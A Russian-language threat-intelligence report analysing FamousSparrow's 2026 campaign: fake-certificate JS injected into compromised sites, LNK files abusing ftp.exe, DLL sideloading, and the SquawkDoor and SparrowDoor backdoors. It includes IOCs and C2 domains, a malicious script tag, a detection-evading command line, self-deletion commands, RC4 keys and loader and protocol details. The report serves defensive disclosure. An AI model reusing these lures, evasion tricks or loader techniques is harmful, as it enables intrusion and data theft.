Воробей дочирикался: атаки группировки FamousSparrow с обновленным бэкдором SparrowDoor и новым бэкдором SquawkDoor

• Обнаружена кампания группировки FamousSparrow, в которой использовались два инструмента: новый бэкдор SquawkDoor и новая версия бэкдора SparrowDoor.
• Основными целями в замеченных кампаниях были Непал, Филиппины, Индонезия, Тайвань, Египет, а также Германия и Чехия.
• Группировка FamousSparrow получила доступ к одной из информационных систем международной исследовательской организации, занимающейся вопросами продовольственной безопасности.
• Группировка FamousSparrow взламывала сайты и встраивала вредоносный JS, который имитирует ошибку и предлагает скачать сертификат, фактически являющийся вредоносным MSI-файлом, приводящим к заражению бэкдорами SquawkDoor и SparrowDoor.
• Злоумышленники допустили ряд OPSEC-ошибок, что позволило обнаружить одного из членов группы, который готовил атаку.
• Удалось обнаружить ряд пересечений атак группировки FamousSparrow с другими восточноазиатскими группами.

В первой половине 2026 года мы обнаружили активность восточноазиатской группировки FamousSparrow. Атаки группировки были направлены на ряд стран Южной Азии, а также на страны Европы, в которых злоумышленники использовали собственное ПО: существенно переработанный вариант модульной версии бэкдора SparrowDoor, а также новый бэкдор, который мы назвали SquawkDoor.

В атаках злоумышленники использовали как вредоносные LNK, так и вектор атаки через заражение сайтов вредоносным JS-скриптом, который имитировал ошибку при посещении страницы и требовал скачать новый сертификат (на самом деле — вредоносный исполняемый файл), что приводило к заражению бэкдорами. Атаки были уникальными для определенных стран: семплы JS и нагрузка содержали тексты, ориентированные на целевую страну.

В обнаруженной кампании вредоносные файлы были направлены пользователями Южной Азии в публичные песочницы из таких стран, как Индонезия, Филиппины, Непал и Тайвань.

По обнаруженным семплам мы смогли зафиксировать, что злоумышленники использовали цепочку со взломом сайтов и фейковыми сертификатами как минимум на четыре географических направления — Тайвань, Германия, Индонезия и Чехия.

Исследуя информацию по зараженным сайтам, мы смогли точно установить, что группировка FamousSparrow получила доступ к одной из информационных систем международной исследовательской организации, занимающейся вопросами продовольственной безопасности. На платформе этой организации злоумышленники внедрили вредоносные JS-скрипты с фейковыми сертификатами. В данном случае целями, вероятно, были научные сотрудники, которые используют эту платформу в качестве библиотеки и места публикации статей.

Основываясь на том, что JS-скрипты на зараженных сайтах содержали текст на конкретных языках, а также на том, что внутри семплов SquawkDoor были вшиты сообщения на конкретных языках, можно предположить, что атаки готовились под конкретные страны. JS-скрипты содержат функции для сбора статистики заражений: /report-url и /track-download. В данном случае мы не видели массового заражения, хотя функциональность явно поддерживает масштабирование кампании в случае необходимости.

В процессе мониторинга активности группировки мы обнаружили атаки с файлами на индонезийском языке. Например, архив Strategi_AS_Referensi_April2026.rar (SHA-256: 1def54444cab1fd17fe5acb42dd0d2293bcb9ce72a8e955bf6796d10d662c4ff).

Архив содержал четыре файла:

• Strategi_AS_Referensi_April2026.docx.lnk (SHA-256: 4c7ae604ad1af90ea155865cb28fd7ccd6371f5ac172de6014b328514d4618e7)
• info.dll (SHA-256: 39bdf92a70a1bb4f07e58cd1081f80fced85df01c1f14a56ed5783104c902439)
• .rels.log (SHA-256: 1a442a8e12c1571a0663e64e0ac9c930035bb267259b684cd9607f76be6d017b)
• 557.pdf (SHA-256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855)

При запуске LNK выполняется следующая команда: "C:\Windows\System32\ftp.exe" -""s: _rels\info.dll

В данном случае парсер Windows съедает кавычки, и это позволяет злоумышленнику обходить простые детекты ключа «-s».
info.dll является BAT-скриптом и содержит следующую команду.

Скрипт копирует файл .rels.log из папки _rels во временную папку, снимает с него атрибуты, распаковывает содержимое, запускает извлеченный hhc.exe, открывает PDF-файл 557.pdf как отвлекающий документ и удаляет следы.

.rels.log SHA-256: 1a442a8e12c1571a0663e64e0ac9c930035bb267259b684cd9607f76be6d017b — это CAB-файл, который распаковывает следующие файлы в %TEMP%:

• hhc.exe (SHA-256: fafb6ffd3ffcf414b702354f62a5216351af4566ed61ece7784846a6938bb8d9) — легитимный .exe-файл, уязвимый для DLL sideloading.
• MSVCR110.dll (SHA-256: c69534bb3e6d4e1c9b21f9e4745f6fb002cbcd3ab83f9ad208eb7bb135401062) — DLL для DLL sideloading.
• hcc (SHA-256: 60292dee0e07a2b889d657e2fbd2f1cd517eaea58f1cfb1ed4a721a173520499) — полезная нагрузка с бэкдором SquawkDoor.

Сама полезная нагрузка представляла собой новый бэкдор, о котором мы расскажем далее и который мы назвали SquawkDoor из-за уникального мьютекса и характерного magic-значения.

В процессе поиска связанных между собой файлов мы обнаружили зараженные сайты с JS-скриптом, который был встроен в HTML:
<script src="https://malicious.com/js/jquery.min.js?s=*number*"></script>

Злоумышленники специально называли свой файл jquery.min.js, чтобы он выглядел легитимно и не вызывал подозрений.

Сам JS обфусцирован с помощью популярного JavaScript-обфускатора JSV7/sjiami.com.v7.

После частичного снятия обфускации можно обнаружить его функциональность:

1. Проверка кода
Запускается самоисполняющаяся функция (IIFE), которая делает проверку целостности кода. Если код был изменен, то происходит ошибка.

2. Защита от анализа
В коде настроены механизмы антиотладки, включая перехват методов console, скрытые инструкции debugger и рекурсивный динамический анализ для усложнения исследования и декомпиляции.

3. Проверка платформы
Скрипт проверяет, что платформа пользователя — Windows, через следующую логику:
const isWindows = navigator.userAgent.includes ("Windows NT");
if (isWindows) {
 // malicious code
}

4. Heartbeat:
В скрипте есть serverUrl — закодированный адрес С2, а также checkInterval, который по умолчанию равен 1000 мс. Скрипт проверяет доступность С2 через следующую команду:
const img = new Image ();
img.src = serverUrl + "/image-check? t=" + Date.now ();

5. Подмена страницы
Скрипт полностью очищает <body>, создает огромный iframe на весь экран и показывает фейковую страницу ошибки SSL. В данном примере на чешском языке.

Дополнительно на serverUrl/report-url отправляется POST-запрос для логирования, с каких страниц пришел пользователь и какой сайт еще является зараженным.

По итогу для пользователя при переходе на сайт отображается следующая информация.

По клику на «Nainstalovat certifikát» (установить сертификат), отправляется запрос на serverUrl/track-download, очевидно, для дополнительного логирования скачиваний, а также запрос на downloadUrl для скачивания полезной нагрузки c S3-бакета Amazon.

В данном случае закодированные С2 были следующими:
serverUrl: pplpp.microsfot.vip
downloadUrl: uploads-temp.s3.amazonaws.com/scadwadwaew/certificate_repair_tool.msi

На момент исследования downloadUrl из текущего скрипта был недоступен, но при этом мы находили другой подобный, связанный с этими атаками.

Скачанные с S3-бакета MSI-файлы, как в случае с SHA-256: b379d07ba81d4190490d9893b2d6d830ff594e042dce26053ef07794d0403787, содержали следующую команду:
cmd.exe /C ping 127.0.0.1 -n 3 > Nul & del /f /q "C:\Users\admin\AppData\Local\WinOx\hhc.exe" & del /f /q "C:\Users\admin\AppData\Local\WinOx\MSVCR110.dll" & del /f /q "C:\Users\admin\AppData\Local\WinOx\hhc"

Как и в случае с вредоносными LNK, описанными выше, тут также используется hhc.exe с тем же хэшем, но MSVCR110.dll другая — f23e5391656b178bc0ab510b0fca6ffbd963cf94870c82a5920f0f338f561f18.

При запуске таких MSI они показывали сообщения на языке жертвы. Например, в случае атаки на Тайвань показывался следующий текст на традиционном китайском:
証書安裝成功, 請返回瀏覽器操作! («Сертификат успешно установлен, вернитесь в браузер для продолжения»)

В июне мы также находили аналогичный MSI — CertFixer.msi (SHA-256: f51dc5e1848daee4e607d46faa25033e1151060cd3482ad4439754440d6c4c01), нацеленный на Германию и с инфраструктурой там же. В этом файле сообщения уже были на немецком языке, но смысл тот же.

При запуске MSI-файл создает директорию %LOCALAPPDATA%\Local\WinxA\ и размещает в ней легитимный файл hhc.exe, вредоносную библиотеку MSVCR110.dll, загружаемую с помощью техники DLL sideloading, а также файл hhc, содержащий зашифрованную полезную нагрузку. Сама нагрузка представляла собой ранее неописанный бэкдор, который мы назвали SquawkDoor.

В ходе инициализации вредоносная библиотека MSVCR110.dll динамически разрешает адреса необходимых API-функций, используя для этого алгоритм хеширования FNV-1a с модифицированными константами: начальным значением 0×5D8CED15 и множителем 0×024151A3, а также выделяет память под полезную нагрузку.

В процессе работы легитимного ПО вызывается первая подмененная экспортируемая функция __crtSetUnhandledExceptionFilter (), которая считывает содержимое файла hhc с зашифрованной полезной нагрузкой и сохраняет его в выделенной области памяти.

Далее легитимным исполняемым файлом будет вызвана вторая подмененная экспортируемая функция — _except_handler4_common (), выполняющая расшифровку считанной полезной нагрузки алгоритмом RC4 с использованием ключа Hg5th5324Ve. После изменения прав памяти управление передается расшифрованной полезной нагрузке.

Получивший управление шеллкод-загрузчик выполняет рефлективную загрузку конечной полезной нагрузки, которая представляет собой новый бэкдор группировки — SquawkDoor.

При инициализации бэкдор динамически разрешает адреса импортируемых функций через хеширование имен API. Для этого используется алгоритм с начальным значением 0×753AB21D и таблицей из 12 констант. На каждой итерации очередной символ имени API смешивается с текущим значением хеша через табличные подстановки, операцию XOR, вычитание и умножение на константу 0xA3AB09. После обработки всех символов итоговое значение используется для сравнения с заранее заданным хешем искомой функции.

uint32_t hash_func(char *name)
{
    uint32_t table[12] = {
        0x753AB21D, 0x026CA124, 0x04671A71, 0x016371B8,
        0x028174BB, 0x0635134C, 0x01475612, 0x0562154A,
        0x03225411, 0x04124411, 0x04214ABC, 0x03244ABC
    };

    uint32_t hash = 0x753AB21D;

    while (*name)
    {
        uint8_t c = *name++;

        uint32_t value =
            0xA3AB09 *
            ((hash ^ (c + table[c % 12])) - table[hash % 12]);

        value &= 0x07FFFFFF;

        hash = value + table[value % 12];
    }

    return hash;
}

Рис. 11. Реализация хеширования имен API-функций

Перед передачей управления основной логике SquawkDoor скрывает консольное окно посредством вызова ShowWindow (hwnd, SW_HIDE), после чего проверяет, выполняется ли он из целевой рабочей директории %TEMP%. Если текущий каталог запуска не соответствует ожидаемому, бэкдор копирует в %TEMP% необходимые для дальнейшей работы компоненты: легитимный исполняемый файл, DLL, используемую для sideloading, а также файл с зашифрованной полезной нагрузкой.

После размещения файлов в целевой директории бэкдор выполняет скрытый запуск собственной копии из каталога %TEMP%, используя функцию CreateProcessA () с флагом CREATE_NO_WINDOW.

Затем создается процесс cmd.exe, который с небольшой задержкой удаляет исходные файлы с помощью следующей команды: cmd.exe /C ping 127.0.0.1 -n 3 > Nul & del /f /q "<legit.exe>" & del /f /q "<malicious.dll>" & del /f /q "<encrypted_payload>".

Далее бэкдор добавляет созданную копию в автозагрузку текущего пользователя под именем WindowsUpdateAssist, а также создает именованный мьютекс squadc_single_instance, предотвращающий запуск нескольких экземпляров.

Конфигурация бэкдора хранится в зашифрованном виде и расшифровывается с использованием алгоритма RC4 и ключа Hg5th5324Ve. Она включает адрес C2-сервера, проверяемое magic-значение ("XlocmwW"), URL для JSON-ping-запросов, интервал опроса сервера в минутах, а также флаги ожидания браузера и выполнения антианалитических проверок.

После расшифровки конфигурация имеет следующую структуру.

struct EMBEDED_CONFIG {
    BYTE  c2_address[0x40];        
    BYTE  magic_tag[0x40];         
    BYTE  c2_json_ping_url[0x100]; 
    DWORD beacon_interval_minutes; 
    DWORD need_browser_waiting;    
    DWORD anti_analysis_enabled;   
};

Рис. 14. Структура конфигурации SquawkDoor

Примечательно, что по умолчанию адрес управляющего сервера и значение magic_tag, используемое при установлении соединения с C2, инициализируются значениями 127.0.0.1:8443 и changeme соответственно. Подобное использование локальных адресов в качестве шаблонных значений, вероятно, указывает на то, что злоумышленники выполняли локальное тестирование.

При наличии в конфигурации установленного флага anti_analysis_enabled бэкдор выполняет набор из 12 антианалитических проверок. Их задача — определить, выполняется ли образец в песочнице, виртуальной машине или другой виртуализированной исследовательской среде. При обнаружении семи и более таких признаков окружение считается подозрительным. Так, SquawkDoor выполняет следующие проверки.

Если в конфигурации установлен флаг need_browser_waiting, SquawkDoor откладывает запуск основной полезной нагрузки до момента обнаружения одного из целевых браузеров. Для этого каждые 30 секунд выполняется перечисление активных процессов. Выполнение продолжается только после обнаружения одного из следующих процессов:

• chrome.exe;
• firefox.exe;
• msedge.exe;
• edge.exe;
• brave.exe

Данный механизм выступает дополнительной техникой антианализа: программа ожидает наличия запущенного браузера, поскольку в описанных выше атаках доставка полезной нагрузки осуществлялась через поддельные веб-страницы.

Кроме того, при наличии в конфигурации параметра c2_json_ping_url бэкдор выполняет единичный HTTP/HTTPS-POST-запрос на указанный URL. В теле запроса передается пустой JSON-объект. Несмотря на то что ответ сервера считывается, его содержимое не обрабатывается и не влияет на дальнейшую логику работы. Структура исходящего HTTP-запроса имеет следующий вид.

POST /register-ip HTTP/1.1
Host: <domain>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
Content-Length: 2
Connection: close

{}

Рис. 17. Структура исходящего HTTP-запроса

Поскольку во всех исследованных атаках в качестве конечной точки использовалось значение /register-ip, мы предполагаем, что данный механизм использовался злоумышленниками в качестве маркера, подтверждающего успешный запуск ВПО на стороне жертвы. Вероятно, получение такого запроса также служило триггером для выполнения определенной логики на стороне оператора.

После выполнения всех подготовительных действий бэкдор переходит к установлению соединения с управляющим сервером. Для этого в бесконечном цикле выполняется серия последовательных попыток установить защищенное TLS-TCP-соединение.

Если соединение не было установлено с первой попытки, выполняются еще две: через одну и две минуты соответственно. После трех неудач подряд следующая серия подключений начинается через beacon_interval_minutes минут или через 30 минут, если это поле не задано.

При успешном установлении соединения бэкдор отправляет на управляющий сервер magic-значение magic_tag, извлеченное из конфигурации. Дальнейший обмен данными осуществляется с использованием собственного протокола. Каждое входящее и исходящее сообщение начинается с magic-значения SQD1 и имеет следующую структуру.

struct MESSAGE {
     uint32_t magic; // "SQD1"
     uint16_t control_code; // номер управляющей команды
     uint16_t error_flag; // статус ответа
     uint32_t body_len; // длина тела в байтах
     uint8_t body[]; // тело сообщения
};

Рис. 18. Формат входящих и исходящих сообщений

Следует отметить, что при первичной передаче magic-значения в поле control_code указывается 1.

Если в ответе сервера не установлен флаг error_flag, SquawkDoor собирает следующую базовую информацию о скомпрометированной системе:

• версия ОС;
• имя компьютера;
• первый активный IPv4-адрес сетевого интерфейса (за исключением localhost).

Сформированное сообщение передается на управляющий сервер с указанием значения 9 в поле control_code.

В ответ на полученную информацию о системе управляющий сервер возвращает команду для выполнения. В ходе анализа были выявлены следующие поддерживаемые бэкдором команды.

Для выполнения команд используется дочерний процесс с перенаправленными в pipe выводами.

По уникальным строчкам внутри установочных файлов мы нашли аналогичный по названию MSI — CertFixer.msi (SHA-256: e5f7bbfc187264336dea5dfebfb5a7dd1e7fcdcc9692db55fbe6eb4d28f027bc), который при выполнении выводит схожее сообщение об успешной установке сертификата, но уже на английском языке.

В ходе расследования атаки мы установили, что злоумышленники использовали существенно переработанный вариант модульной версии бэкдора SparrowDoor, в котором был расширен перечень поддерживаемых протоколов связи, изменена конфигурация, усилена скрытность, а также пересмотрена архитектура самого инструмента.

Ранее SparrowDoor существовал в двух вариантах. Монолитная версия содержала набор встроенных команд для управления скомпрометированной системой, однако не поддерживала расширение функциональности с помощью плагинов. Модульная версия, напротив, обладала только базовыми возможностями, необходимыми для загрузки плагинов и управления ими, а ее функциональность расширялась за счет загружаемых с управляющего сервера модулей.

Обнаруженный нами вариант объединяет возможности обеих версий: в нем расширен набор поддерживаемых команд, предусмотрена загрузка дополнительных модулей, а также предустановлено несколько плагинов.

Кроме того, в этой версии бэкдора были заимствованы отдельные технические и архитектурные решения из других инструментов семейства с общей кодовой базой: предыдущих версий SparrowDoor, CrowDoor, TernDoor, а также Hemigate. Эволюция инструментария и их сравнительная таблица представлены в разделе «Развитие семейства».

При запуске поставляемый MSI-файл создает директорию %LOCALAPPDATA%\Local\WinxA\, аналогичную той, которую использует SquawkDoor, и помещает в нее три файла: легитимный установщик Avast Antivirus Installer (NisaSrv.exe), вредоносную библиотеку WTSAPI32.dll, а также файл NisaSrv, содержащий зашифрованную полезную нагрузку.

Загружаемая посредством DLL sideloading вредоносная библиотека на этапе инициализации считывает первые 16 байт из секции .text процесса, в адресное пространство которого она была загружена. Полученное значение используется в качестве RC4-ключа для расшифровки имен WinAPI-функций.

Далее библиотека динамически разрешает необходимые API и с помощью HeapAlloc выделяет в куче около 5 МБ памяти для размещения полезной нагрузки.

На следующем этапе вредоносная DLL модифицирует поток выполнения легитимного процесса. Для этого она с помощью функции VirtualProtect () временно разрешает запись в участок кода легитимного NisaSrv.exe, содержащий 4-байтовый операнд инструкции CALL (0xE8). Этот операнд хранит относительное смещение до вызываемой функции. Вредоносная библиотека перезаписывает его новым смещением, которое указывает на функцию расшифровки полезной нагрузки внутри самой DLL. В результате последующий вызов CALL передает управление вредоносному коду.

Функция расшифровки считывает файл с полезной нагрузкой и по первым двум байтам определяет сценарий дальнейшей обработки. Если файл начинается с последовательности 0×91 0×91 или 0xD1 0×92, это означает, что вредоносное ПО выполняется впервые и его компоненты еще не были перемещены в рабочую директорию. В этом случае полезная нагрузка расшифровывается одним проходом алгоритма RC4 с использованием ключа oWbgvv5234$43gh.

Если указанные маркеры отсутствуют, предполагается, что файлы уже были перенесены в целевую директорию и повторно зашифрованы. В таком случае содержимое сначала расшифровывается алгоритмом RC4 с ключом, сформированным из полного пути к файлу с полезной нагрузкой, после чего выполняется основной этап расшифровки.

По завершении расшифровки управление передается шеллкоду, отвечающему за рефлективную загрузку PE-файла в память процесса.

Расшифрованное содержимое файла включает кастомный заголовок с параметрами для рефлективной загрузки, шеллкод-загрузчик, которому библиотека передает управление, а также сырые секции бэкдора SparrowDoor.

Заголовок с параметрами для рефлективной загрузки содержит: точку входа загружаемого модуля, количество секций, относительный виртуальный адрес таблицы релокаций и таблицы импортов, базовый адрес образа, а также сведения о расположении и размере каждой секции. Данный заголовок можно представить в виде следующей структуры.

struct ShellcodeLoaderHeader  
{  
       _DWORD entry_rva;
       _DWORD sections_count;
       _DWORD reloc_rva;
       _DWORD import_rva;
       _DWORD image_base;
       _DWORD unused;
       _DWORD sections_rva[7];
       _DWORD sections_size[7];
};

Рис. 24. Структура заголовка с параметрами для рефлективной загрузки

В процессе инициализации SparrowDoor, загружаемый шеллкодом, скрывает консольное окно процесса, динамически разрешает адреса целевых функций с использованием хэш-функции вида hash = ROR32(hash, 2) + name[i], а также проверяет, не превышает ли текущая дата пороговое значение — апрель 2027 года.

При успешном прохождении проверки выполняется расшифровка конфигурации агента. Конфигурация находится в конце файла с зашифрованной полезной нагрузкой и расшифровывается тем же алгоритмом RC4 с использованием того же ключа oWbgvv5234$43gh.

Расшифрованная конфигурация содержит адреса управляющих серверов, параметры подключения, сетевой протокол для связи с C2-сервером ("Взаимодействие с управляющим сервером"), рабочую директорию, имя сервиса, создаваемого для закрепления в системе, а также вторую часть ключа, используемого для шифрования сообщений между агентом и C2. Структура конфигурации агента имеет следующий вид.

struct C2Entry  
{  
      _BYTE host[0x80];  
      _WORD port;  
      _DWORD transport;  
};  
struct Config  
{  
      C2Entry c2[3];  
      _BYTE target_path[0x100];  
      _BYTE service_name[0x40];
      _BYTE rc4_key_part[0x40];  
      _DWORD reconnect_delay_min;  
      _DWORD sleep_ms;  
};

Рис. 26. Структура расшифрованной конфигурации SparrowDoor

Примечательно, что в этой версии SparrowDoor создается переменная окружения datx, в которой хранится полный путь к файлу с зашифрованной полезной нагрузкой. В самом ВПО она используется для извлечения конфигурации из конца файла.

Далее агент анализирует переданные ему аргументы запуска.

В процессе работы SparrowDoor многократно перезапускает себя с разными аргументами, разделяющими разные этапы работы ВПО.

• Запуск без аргументов: выполняет закрепление в системе. Для этого он создает рабочую директорию, путь к которой задан в конфигурации, и копирует туда три файла, извлеченных MSI-установщиком: легитимный исполняемый файл, вредоносную библиотеку для DLL sideloading и файл с полезной нагрузкой.

  Содержимое файла с полезной нагрузкой дополнительно зашифровывается алгоритмом RC4. В качестве ключа для RC4 используется полный путь к файлу. При этом последние 0×31A байт, содержащие конфигурацию, не затрагиваются.

  Затем агент маскирует созданные файлы и рабочую директорию, присваивая им временные метки, соответствующие системной библиотеке ntdll.dll, а также устанавливает для них атрибуты hidden и system.

  Для закрепления в системе агент создает службу Windows с именем, заданным в конфигурации (NisaSrv). Данная служба будет автоматически запускать скопированный легитимный исполняемый файл при входе пользователя в систему.

Если создать или запустить службу не удалось, агент добавляет исполняемый файл в автозагрузку текущего пользователя и запускает его.

При запуске из целевой директории агент запускает свою новую копию через ShellExecuteA ("open"), передавая ей аргумент /a, после чего текущий процесс завершает выполнение.

• Запуск с аргументом /a: дважды расшифровывает содержимое файла с полезной нагрузкой, сначала используя полный путь к файлу в качестве ключа, а затем используя oWbgvv5234$43gh. После этого запускает процесс msiexec.exe с аргументом /c, в контексте которого выделяет область памяти с правами на исполнение и записывает в нее расшифрованную полезную нагрузку. Далее управление передается на загруженный шеллкод.

• Запуск с аргументом /c: создает именованный мьютекс вида xnv_<internal_version>_<service_name> (в данном случае это xnv_1.1.0_NisaSrv), исключающий повторный запуск. Затем агент определяет идентификатор пользовательской сессии, в которой запущен процесс explorer.exe, и использует это значение для поиска экземпляра winlogon.exe, запущенного в той же пользовательской сессии.

  Если процесс был найден, агент открывает его токен доступа, дублирует его и с этим токеном запускает msiexec.exe через CreateProcessAsUserA, указывая в качестве аргумента /b. Если получить токен не удается, msiexec.exe запускается через CreateProcessA с таким же аргументом.

  После создания процесса агент выделяет память в адресном пространстве msiexec.exe, дважды расшифровывает полезную нагрузку, записывает ее в выделенную область и передает управление на расшифрованный шеллкод.

  Также стоит отметить, что, в отличие от предыдущих экземпляров, текущий процесс не завершает работу после выполнения основных задач, а продолжает функционировать как watchdog, обеспечивая непрерывную работу SparrowDoor и перезапуская его при необходимости.

• Запуск с аргументом /b: активирует основную логику агента.
• Запуск с аргументом /u: инициирует процедуру деинсталляции агента, в рамках которой ВПО удаляет механизмы закрепления и созданную рабочую директорию, затем формирует и запускает команду cmd /c taskkill /F /IM msiexec.exe, которая принудительно завершает все процессы msiexec.exe, включая экземпляр, задействованный для выполнения внедренной полезной нагрузки.

При успешном прохождении предыдущих этапов выполнение переходит к настройке агента и его подготовке к работе. На этом этапе создается кольцевой двусвязный список из встроенных плагинов и их обработчиков.

Каждому плагину соответствует отдельная группа команд с идентификатором 0×10000, 0×20000, … 0xF0000. Идентификатор группы извлекается из полного кода команды с помощью маски command & 0xF0000, а младшие 16 бит определяют конкретное действие, которое должен выполнить выбранный плагин. Например, для кейлоггер-плагина с идентификатором 0×40000 команда 0×40003 может отвечать за активацию, а 0×40004 — за деактивацию.

В рассматриваемом образце агент имеет следующие встроенные плагины:

• 0×10000: загрузчик модулей и резервный обработчик команд, для которых целевой модуль еще не был зарегистрирован. Если плагин для указанной в команде группы еще не зарегистрирован, команда направляется в загрузчик, который определяет отсутствующий модуль по идентификатору группы и запрашивает его у управляющего сервера, расшифровывает, загружает в память и вызывает экспортируемую функцию fmain. Затем загрузчик регистрирует полученный модуль в списке установленных и передает выполнение обработчику загруженного модуля;
• 0×40000: модуль перехвата клавиатурного ввода пользователя. При запуске он устанавливает системный перехват нажатий клавиш с помощью SetWindowsHookExW (WH_KEYBOARD_LL, …) и создает отдельный поток с циклом обработки сообщений. Созданный поток отслеживает нажатия клавиш, определяет текущее активное окно, сохраняет его заголовок и накапливает введенные символы во внутреннем буфере. Служебные клавиши обрабатываются отдельно и записываются в читаемом виде: [back], [tab], [enter], [ctrl], [alt], [esc]. При смене активного окна, заполнении буфера до 1008 байт или срабатывании таймера каждые 2 секунды накопленные данные сохраняются в файл, расположенный в подкаталоге kl (сокращение от keylog) рабочей директории. Имя файла имеет формат <YYYY>-<MM>-<DD>-<HH>-<mm>.x. Перед записью строка шифруется алгоритмом RC4 со статическим ключом (см. дальше), после чего кодируется в Base64.

После настройки встроенных плагинов агент входит в бесконечный цикл, в рамках которого последовательно обходит все записи, указанные в конфигурации, и пытается установить соединение с управляющим сервером. Способ взаимодействия для каждой записи определяется значением параметра transport.

При использовании HTTP (S) агент передает данные управляющему серверу посредством POST-запросов к /325asd/fd.php в следующем формате.

После успешного установления соединения с управляющим сервером агент, оставаясь в том же бесконечном цикле, собирает сведения о системе жертвы. В число собираемых данных входят: текущая дата, IPv4-адрес первого локального интерфейса, версия ОС, имя пользователя, имя компьютера, список установленных в системе антивирусных продуктов, версия агента, а также вычисляемый идентификатор системы жертвы.

После сбора данные упаковываются в следующую структуру для дальнейшей отправки.

struct SYSTEM_PROFILE
{
       _WORD local_year;
       _WORD local_month;
       _WORD local_day;
       _DWORD local_ipv4;
       _DWORD os_build;
       _DWORD os_major;
       _DWORD os_minor;
       _BYTE host_id_hex[0x20];
       _BYTE user_name_utf8[0x40];
       _BYTE computer_name_utf8[0x40];
       _BYTE antivirus_names[0x40];
       _BYTE client_version[0x20];
};

Рис. 34. Структура собранных данных о системе

Собранная информация о системе шифруется с использованием алгоритма RC4, ключ для которого («fdibnvvgbVUGV_hh3(2») формируется из двух частей: первая часть извлекается из конфигурации («fdibnvvgbVUGV»), а вторая жестко задана в агенте («_hh3(2»). Сформированный статический ключ будет использован для шифрования и расшифрования сообщений.

Перед отправкой основного сообщения агент сначала отправляет 4-байтовое magic-значение 0×21A43B. Если оно успешно доставлено, следом отправляется заголовок сообщения, содержащий его тип в виде magic-значения 0×6A26B и размер полезной нагрузки. После заголовка передается само сообщение с зашифрованной информацией о системе.
Формат заголовка отправляемых сообщений следующий.

struct MsgHeader
{
    _DWORD magic;
    _DWORD len;
};

Рис. 35. Формат заголовка отправляемых сообщений

В ответ управляющий сервер отправляет 12-байтовое сообщение. На этом этапе агент проверяет только значение magic-маркера в полученном ответе: поле marker всегда должно быть равно 0xA1.

struct C2_COMMAND_HEADER
{
    _DWORD command_id;
    _DWORD payload_len;
    _DWORD marker;
};

Рис. 36. Формат входящих сообщений от C2

После отправки сведений о системе агент переходит к приему управляющих сообщений. Каждое входящее сообщение начинается с аналогичного 12-байтового заголовка, содержащего идентификатор команды, размер полезной нагрузки и маркер. Сообщение считается корректным только при наличии маркера 0xA1. Если поле payload_len ненулевое, следом за заголовком передается отдельное сообщение с полезной нагрузкой указанного размера.

Значение command_id из отправленного заголовка определяет выполняемую команду. Перечень поддерживаемых команд приведен в таблице ниже.

В атаках группа FamousSparrow использовала LNK-файл, который эксплуатировал living off the land binary.

1. По клику на LNK-файл Windows смотрит на поле Relative Path, которое в LNK прописано как “.\.\.\.\Windows\System32\ftp.exe”, и выходит на настоящий ftp.exe и вызывает его, не прописывая абсолютный путь.
2. ftp.exe получает аргумент ftp.exe -s:"_rels\info.dll", который в нашем случае был .bat-скриптом.

Сама техника взята из FTPlnk_phishing, про которую мы ранее рассказывали в нашей статье про азиатскую группировку UnsolicitedBooker. В статье мы показывали метаданные оригинального LNK из официального репозитория. Оригинальный аргумент включал в себя python.dll, но суть техники это не меняет.

В статье мы рассказывали, что ранее видели использование FTPlnk_phishing у двух групп — UnsolicitedBooker и MustangPanda в атаке на Королевскую полицию. Поисследовав, мы выяснили, что как минимум два вендора описали публично такие атаки.

Первое описание — это Operation GriefLure. В статье исследователи рассказали про APT-кампанию, нацеленную на вьетнамские военные телекоммуникации и филиппинское здравоохранение. В этой кампании злоумышленники также использовали команду ftp.exe -s:, которая, как и в нашем случае, запускала скрипт, но в этом случае скрипт собирал из фрагментов документа EXE и полиморфную DLL. Сборка файлов с помощью команд copy /b + time-based-полиморфизм сильно отличается от нашего случая, но точно можно сказать, что группировка, стоящая за операцией, использовала ту же технику из FTPlnk_phishing. Исследователи не атрибутировали атаку к какой-то конкретной группе, но по TTP всей атаки и целям атаки можно предположить, что за атакой стояла группировка Mustang Panda.

Вторая атака, на которую мы обратили внимание, — это атака с фейковым сайтом Claude, в которой злоумышленники использовали бэкдор Beagles. Группировка использовала фейковые домены, которые скачивали MSI-файлы, внутри которых было три файла: легитимный EXE, DLL для sideloading и DAT. Стоит отметить, что в приведенном исследовании были описаны только атаки с использованием MSI-файлов. При повторном анализе этой атаки мы выяснили, что, как и в случае с нашим исследованием группировки FamousSparrow, описанная в статье группировка, помимо MSI-файлов, также использовала LNK-файлы и скрипты.

Сам скрипт внутри .lnk запускал .dat, который показывал жертве легитимный PDF Claude-Pro-Relay-Technical-Overview.pdf, а также запускал файл pdf.vbs.

Как и в случае с группировкой FamousSparrow, злоумышленники в атаке Donuts and Beagles использовали два вектора: через сайт, который скачивал MSI, а также через RAR-архивы с LNK, связанным с FTPlnk_phishing.

Помимо этого, мы проанализировали все файлы FTPlnk_phishing, которые использовали такую технику и такие же ссылки IconLocation .\1.pdf или .\1.docx, и еще раз убедились, что это не самый популярный инструмент. Все проанализированные файлы относятся к одной из трех кампаний:

• Operation Grieflure, за которой предположительно стоит Mustang Panda;
• Donuts and Beagles (очень близка к проанализированным нами атакам FamousSparrow, но с другим бэкдором);
• UnsolicitedBooker, которая продолжает атаковать КНР, о чем писали мы, а также китайский вендор ThreatBook.

При анализе измененного SparrowDoor мы обратили внимание, что он посылает следующие POST-запросы к эндпойнту /325asd/fd.php:

POST HTTP/1.1
Host: %s
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;)
Accept: */*
Content-Length: %d
Connection: Keep-Alive
Cache-Control: no-cache

По этому обращению к эндпойнту мы смогли обнаружить домен viscarae.com, который ранее был на IP-адресе 103.27.108[.]55.

Этот IP ранее упоминался в статье про восточноазиатскую группировку UAT-8302 (Space Pirates). В данном случае тут пересечение только по инфраструктуре, но в своем отчете исследователи приводили схему пересечения различных группировок и показывали пересечение между Space Pirates (UAT-8302) и группировкой FamousSparrow (Earth Estries).

